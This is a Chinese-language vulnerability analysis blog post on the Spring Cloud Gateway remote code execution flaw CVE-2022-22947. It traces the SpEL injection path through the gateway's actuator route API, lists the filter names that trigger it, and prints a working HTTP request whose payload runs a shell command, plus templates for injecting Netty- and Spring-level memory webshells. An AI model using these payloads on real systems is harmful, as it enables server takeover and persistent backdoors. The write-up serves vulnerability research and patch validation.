spring cloud gateway rce(CVE-2022-22947)分析

环境搭建

https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.0.6

漏洞分析

该漏洞造成原因是因为配置可写+SPEL表达式的解析导致的

SpEL表达式的触发方式有3种,xml,注释,直接传参。这里基本不可能是将恶意poc传到注释中,或者写入到xml中,所以触发方式应该是将输入poc当做某个函数的参数传入其中的,而SpEL表达式的解析的方法为SpelExpressionParser.parseExpression()函数

全局检索这个危险函数

初步定位到org/springframework/cloud/gateway/support/ShortcutConfigurable.java中的49行函数,此处的的entryValue为传入执行参数,因此需要追踪该参数的传入路径。

往上跟踪会发现在其自定义的,normalize()函数中会传从args中取出值放入到getValue()函数中

继续跟踪发现值从this.properties参数传入

打上断点,使用refresh的会将poc执行触发漏洞,查看堆栈信息

刚开始的入口为org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.java的refresh controller控制器,进入逻辑

接下来就是定位参数值从哪里获取了,因为是分析1day漏洞,知道poc怎么写,大致清楚是从route的配置信息中获取的,这里的值也是从org/springframework/cloud/gateway/support/ConfigurationService.javathis.properties中获取的,查看该成员变量的赋值情况

查看传入处,可以定位到definition变量,这个变量是从filter中获取的值,通过for循环一个个的往properties中传

因为该漏洞是多步触发,这个filter的属性一定是以内存,文本,数据库之一的形式暂存的,此次的debug跟踪只能找到读取来源,可以看到从gatewayproperties中获取

接下来看看最先传入的逻辑,也就是post路由

跟进设置处的代码,仅检测url中的路由中的id是否为空,并且会将id设置为route,其他内容可以自由发挥

尝试发送空的json的数据包,符合格式,但可以从log中看到包含的参数有predicates,filters,url,order,metadata

将数据包发过去并refresh,发现报错,报错内容中最后出错处提示需要uri参数

注意: 这时候需要将其路由使用delete删除,不然后面的所有refresh都会报错,也就是说之前的poc如果有错误,需要delete,不然后续即使写到其他路由也会在refresh执行时报错

带上uri参数,就没报错了,并且成功回显了

再次跟踪refresh执行SpEL表达式的逻辑,带上filter参数,成功执行命令

再次请求可以返回命令信息,所以必要参数是uri,而网上公布的poc中的id参数并不是必要的

至于传入poc的参数为filters,debug调试,查看调用处逻辑,在此处传入的合法字段有predicates,filters,uri,metadata,order

这里面的filters和predicates为数组,uri为uri类型并且已经被处理过,无法注入恶意poc,注入恶意poc也会报错,而predicates不会走到SpEL表达式逻辑。

而filters中的name值也有一定的要求,必须是在以下类中的名称,非这个类的方法名称测会在post时候会进行报错

org/springframework/cloud/gateway/route/builder/GatewayFilterSpec.java

整理如下,均会执行SpEL的表达式

能回显
AddRequestHeader
AddRequestParameter
AddResponseHeader
SetRequestHeader
SetResponseHeader

不能回显
DedupeResponseHeader
MapRequestHeader
ModifyRequestBody
ModifyResponseBody
PreserveHostHeader
PrefixPath
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
SecureHeaders
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri

最终poc如下

POST /actuator/gateway/routes/a HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/json
Content-Length: 267

{
"uri":"lb://httpbin",
"filters":[{
	"name":"SetResponseHeader",
	"args":{
		"name":"a",
		"value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
	}
}
]
}

注入内存马的上下文信息可以参考

https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg

https://blog.wanghw.cn/tech-share/cve-2022-22947-inject-godzilla-memshell.html

内存马分为2个层级一个是netty中间件级的内存马,一个是spring框架层的内存马,加载机制无非是通过classloader去加载base64解码后的字节码,然后进行运行注入到内存中

//netty
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('MemClassName',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAjgoABgBL...'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

//spring
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('MemClassName',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAjgoABgBL...'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}

输出成脚本工具

https://github.com/SiJiDo/CVE-2022-22947

posted @ 2022-08-23 14:49  sijidou  阅读(854)  评论(0编辑  收藏  举报